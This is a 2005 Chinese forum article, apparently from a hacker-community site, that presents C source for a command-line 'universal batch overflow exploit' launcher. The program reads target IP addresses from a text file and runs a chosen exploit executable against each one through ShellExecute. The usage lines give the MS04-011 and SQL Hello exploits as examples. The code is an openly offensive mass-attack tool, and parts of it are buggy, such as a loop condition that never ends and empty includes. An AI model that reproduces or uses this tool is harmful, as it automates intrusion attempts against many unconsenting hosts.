通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
CMD版通用批量溢出利用程序代码
责任编辑:古典辣M°   更新日期:2005-11-30
 

其实这个程序很简单,只需要处理以下三个问题即可:
1.处理从txt文件中读入IP(利用fscanf按行读入,利用链表结构来出来保存问题)
2.处理对不同的EXP输入控制参数(其实这个刚开始我很头痛,后来发现利用双引号的技巧就可以解决)
3.利用程序调用到相应的EXP,并输入相应的命令行参数(shellexecute函数 可以办到)

PS:代码帖出来,希望对大家有用,如果有谁在它的基础上加了新功能,希望我能收到你的一份代码,谢谢,请发到:sunlion@eviloctal.com


*********************SunLion@EST在XP+VC6.0编译成功******************


#include
#include
#define LEN sizeof(struct DATAIP)
struct DATAIP                           //定义一个链表结构来保存读入的IP
{
  char           dataLine[30];
  struct DATAIP     *next;
};
//read function
struct DATAIP *ReadIp( char *fileName )   //这个子函数负责读入指定的IP文件放到链表中
{
  struct DATAIP     *p1 = NULL;
  struct DATAIP     *p2 = NULL;
  struct DATAIP     *head = NULL;
  FILE           *fp = NULL;
  int           num = 0;

  if( (p1 = p2 = (struct DATAIP *)malloc(LEN)) == NULL )
  {
    printf( "create mem error...\n" );
    exit(-1);
  }
  if( (fp = fopen( fileName , "r" )) == NULL )
  {
    printf( "open the %s error...\n" , fileName );
    exit(-1);
  }
fscanf(fp , "%s" , p1->dataLine );
 
  while( !feof(fp) )
  {   num = num + 1;      
    if( num == 1 )
head = p1;    
    else
        p2->next = p1;
      p2 = p1;
    p1 = (struct DATAIP *)malloc(LEN);
    fscanf( fp , "%s" , p1->dataLine );
}
  p2->next = NULL;
return (head);
}
//Usage function
void usage(char *p)         //自己看
{
  printf( "Usage:\t%s\t [head] file after exp\t\n"
  "\t head------EXP的前缀参数(多个参数需要用双引号刮起来)\t\n"
"\t file------保存攻击IP的文件的全名(.txt)\t\n"
"\t after------EXP的后缀参数(多个参数需要用双引号刮起来)\t\n"
"\t exp------exp的文件全名(.exe)\t\n"
"有前缀参数:%s 0 file.txt \"1234 192.168.0.253\" ms04011.exe\t\n"
"无前缀参数:%s file.txt \"1433 192.168.0.253 1234\" sqlhello.exe\t\n"
    ,p,p,p);  
}


int main(int argc, char **argv)          
{
char x[100];
  struct DATAIP *AttackIP;
printf( "     *************************************************************\r\n"
"     *       通用溢出利用工具 V1.0 commover.exe         *\r\n"
"     *         Welcome To EvilOctalSecurityTeam           *\r\n"
            "     *           http://www.eviloctal.com ;             *\r\n"
      "     *design:SunLion[EST]           http://sunlion.126.com ; *\r\n"  
"     *Thanks:无锋之刃[EST]     风泽[EST] http://www.blacksky.cn ;*\r\n"
        "     *************************************************************\r\n"
        );
if((argc!=4)&&(argc!=5))
{
usage(argv[0]);
return -1;
}
if(argc==4)
{
  AttackIP = ReadIp(argv[1]);
while(AttackIP->dataLine !=NULL)
  {
    sprintf(x,"%s %s",AttackIP->dataLine,argv[2]);
  printf("%s %s\n",argv[3],x);
  ShellExecute(NULL,"open",argv[3],x,NULL,SW_SHOWNORMAL); //关键
  AttackIP =AttackIP->next ;
  ZeroMemory(x,100);
  }
}
  else if(argc==5)
{
AttackIP = ReadIp(argv[2]);
  while(AttackIP->dataLine !=NULL)
{
    sprintf(x,"%s %s %s",argv[1],AttackIP->dataLine,argv[3]);
    printf("%s %s\n",argv[4],x);
    ShellExecute(NULL,"open",argv[4],x,NULL,SW_SHOWNORMAL);//关键
AttackIP =AttackIP->next ;
      ZeroMemory(x,100);
}
}
  return 1;

}

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题